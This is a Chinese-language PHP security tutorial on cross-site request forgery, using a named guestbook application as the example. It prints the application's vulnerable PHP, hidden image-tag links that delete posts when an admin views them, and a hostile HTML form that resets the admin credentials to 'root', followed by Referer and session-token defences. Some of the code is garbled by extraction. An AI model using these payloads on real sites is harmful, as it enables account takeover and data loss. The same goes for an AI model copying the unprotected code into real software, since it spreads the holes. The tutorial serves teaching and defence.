PHP漏洞全解(六)-跨网站请求伪造

系统 Linux
本文主要介绍针对PHP网站的跨网站请求伪造。在CSRF所有攻击方式中包含攻击者伪造一个看起来是其他用户发起的 HTTP 请求,事实上,跟踪一个用户发送的 HTTP 请求才是攻击者的目的。

CSRF(Cross Site Request Forgeries),意为跨网站请求伪造,也有写为XSRF。攻击者伪造目标用户的HTTP请求,然后此请求发送到有CSRF漏洞的网站,网站执行此请求后,引发跨站请求伪造攻击。攻击者利用隐蔽的HTTP连接,让目标用户在不注意的情况下单击这个链接,由于是用户自己点击的,而他又是合法用户拥有合法权限,所以目标用户能够在网站内执行特定的HTTP链接,从而达到攻击者的目的。

例如:某个购物网站购买商品时,采用http://www.shop.com/buy.php?item=watch&num=1,item参数确定要购买什么物品,num参数确定要购买数量,如果攻击者以隐藏的方式发送给目标用户链接

,那么如果目标用户不小心访问以后,购买的数量就成了1000个

实例

随缘网络PHP留言板V1.0

任意删除留言

//delbook.php 此页面用于删除留言

  1. include_once("dlyz.php"); //dlyz.php用户验证权限,当权限是admin的时候方可删除留言 
  2. include_once("../conn.php"); 
  3. $del=$_GET["del"]; 
  4. $id=$_GET["id"]; 
  5. if ($del=="data"
  6. $ID_Dele= implode(",",$_POST['adid']); 
  7. $sql="delete from book where id in (".$ID_Dele.")"
  8. mysql_query($sql); 
  9. else 
  10. $sql="delete from book where id=".$id//传递要删除的留言ID 
  11. mysql_query($sql); 
  12. mysql_close($conn); 
  13. echo ""
  14. echo "alert(‘删除成功!’);"
  15. echo " location=’book.php’;"
  16. echo ""
  17. ?> 

当我们具有admin权限,提交http://localhost/manage/delbook.php?id=2 时,就会删除id为2的留言

利用方法:

我们使用普通用户留言(源代码方式),内容为

  1. "delbook.php?id=2" /> 
  2. "delbook.php?id=3" /> 
  3. "delbook.php?id=4" /> 
  4. "delbook.php?id=5" /> 

插入4张图片链接分别删除4个id留言,然后我们返回首页浏览看,没有什么变化。。图片显示不了

现在我们再用管理员账号登陆后,来刷新首页,会发现留言就剩一条,其他在图片链接中指定的ID号的留言,全部都被删除。

攻击者在留言中插入隐藏的图片链接,此链接具有删除留言的作用,而攻击者自己访问这些图片链接的时候,是不具有权限的,所以看不到任何效果,但是当管理员登陆后,查看此留言,就会执行隐藏的链接,而他的权限又是足够大的,从而这些留言就被删除了

修改管理员密码

  1. //pass.php 
  2. if($_GET["act"]) 
  3. $username=$_POST["username"]; 
  4. $sh=$_POST["sh"]; 
  5. $gg=$_POST["gg"]; 
  6. $title=$_POST["title"]; 
  7. $copyright=$_POST["copyright"]."
    设计制作:厦门随缘网络科技"
  8. $password=md5($_POST["password"]); 
  9. if(emptyempty($_POST["password"])) 
  10. $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"
  11. else 
  12. $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"
  13. mysql_query($sql); 
  14. mysql_close($conn); 
  15. echo ""
  16. echo "alert(‘修改成功!’);"
  17. echo " location=’pass.php’;"
  18. echo ""

这个文件用于修改管理密码和网站设置的一些信息,我们可以直接构造如下表单:

  1. <body> 
  2. <form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1"> 
  3. <input type="radio" value="1" name="sh"> 
  4. <input type="radio" name="sh" checked value="0"> 
  5. <input type="text" name="username" value="root"> 
  6. <input type="password" name="password" value="root"> 
  7. <input type="text" name="title" value="随缘网络PHP留言板V1.0(带审核功能)" > 
  8. <textarea name="gg" rows="6" cols="80" >欢迎您安装使用随缘网络PHP留言板V1.0(带审核功能)!textarea> 
  9. <textarea name="copyright" rows="6" cols="80" >随缘网络PHP留言本V1.0 版权所有:厦门随缘网络科技 2005-2009<br/>承接网站建设及系统定制 提供优惠主机域名textarea> 
  10. form> 
  11. body> 

存为attack.html,放到自己网站上http://www.sectop.com/attack.html,此页面访问后会自动向目标程序的pass.php提交参数,用户名修改为root,密码修改为root,然后我们去留言板发一条留言,隐藏这个链接,管理访问以后,他的用户名和密码全部修改成了root

防范方法

防范CSRF要比防范其他攻击更加困难,因为CSRF的HTTP请求虽然是攻击者伪造的,但是却是由目标用户发出的,一般常见的防范方法有下面几种:

1、检查网页的来源

2、检查内置的隐藏变量

3、使用POST,不要使用GET

检查网页来源

在//pass.php头部加入以下红色字体代码,验证数据提交

  1. if($_GET["act"]) 
  2. if(isset($_SERVER["HTTP_REFERER"])) 
  3. $serverhost = $_SERVER["SERVER_NAME"]; 
  4. $strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]); 
  5. $strdomain = explode("/",$strurl); 
  6. $sourcehost = $strdomain[0]; 
  7. if(strncmp($sourcehost$serverhoststrlen($serverhost))) 
  8. {
  9. unset($_POST); 
  10. echo ""
  11. echo "alert(‘数据来源异常!’);"
  12. echo " location=’index.php’;";
  13. echo ""
  14. $username=$_POST["username"]; 
  15. $sh=$_POST["sh"]; 
  16. $gg=$_POST["gg"]; 
  17. $title=$_POST["title"]; 
  18. $copyright=$_POST["copyright"]."
    设计制作:厦门随缘网络科技"
  19. $password=md5($_POST["password"]); 
  20. if(emptyempty($_POST["password"])) 
  21. $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"
  22. else 
  23. $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"
  24. mysql_query($sql); 
  25. mysql_close($conn); 
  26. echo ""
  27. echo "alert(‘修改成功!’);"
  28. echo " location=’pass.php’;"
  29. echo ""

检查内置隐藏变量

我们在表单中内置一个隐藏变量和一个session变量,然后检查这个隐藏变量和session变量是否相等,以此来判断是否同一个网页所调用

  1. php 
  2. include_once("dlyz.php"); 
  3. include_once("../conn.php"); 
  4. if($_GET["act"]) 
  5. if (!isset($_SESSION["post_id"])) 
  6. // 生成唯一的ID,并使用MD5来加密 
  7. $post_id = md5(uniqid(rand(), true)); 
  8. // 创建Session变量 
  9. $_SESSION["post_id"] = $post_id; 
  10. // 检查是否相等 
  11. if (isset($_SESSION["post_id"])) 
  12. // 不相等 
  13. if ($_SESSION["post_id"] != $_POST["post_id"]) 
  14. // 清除POST变量 
  15. unset($_POST); 
  16. echo "<script language=’javascript’>"; 
  17. echo "alert(‘数据来源异常!’);"; 
  18. echo " location=’index.php’;"; 
  19. echo "script>"; 
  20. …… 
  21. <input type="reset" name="Submit2" value="重 置"> 
  22. <input type="hidden" name="post_id" value="php echo $_SESSION["post_id"];?>"> 
  23. td>tr> 
  24. table> 
  25. form> 
  26. php 
  27. mysql_close($conn); 
  28. ?> 
  29. body> 
  30. html> 

使用POST,不要使用GET

传递表单字段时,一定要是用POST,不要使用GET,处理变量也不要直接使用$_REQUEST

责任编辑:xikder 来源: DoDo's Blog
相关推荐

2012-04-12 14:45:13

2012-04-12 11:28:04

2012-04-12 16:05:50

2012-04-12 15:42:35

2012-04-12 15:06:44

2012-04-12 13:36:59

2012-04-12 15:59:09

2013-08-19 10:59:48

2015-09-15 10:52:52

2012-12-10 10:32:22

2010-09-27 17:37:10

2013-05-22 18:32:57

2013-07-03 11:28:47

2011-04-19 13:40:27

2017-11-02 14:39:54

2017-11-02 15:28:52

2011-05-10 09:55:14

2015-07-09 09:35:37

2015-03-10 18:07:53

2023-02-23 09:32:13

点赞
收藏

51CTO技术栈公众号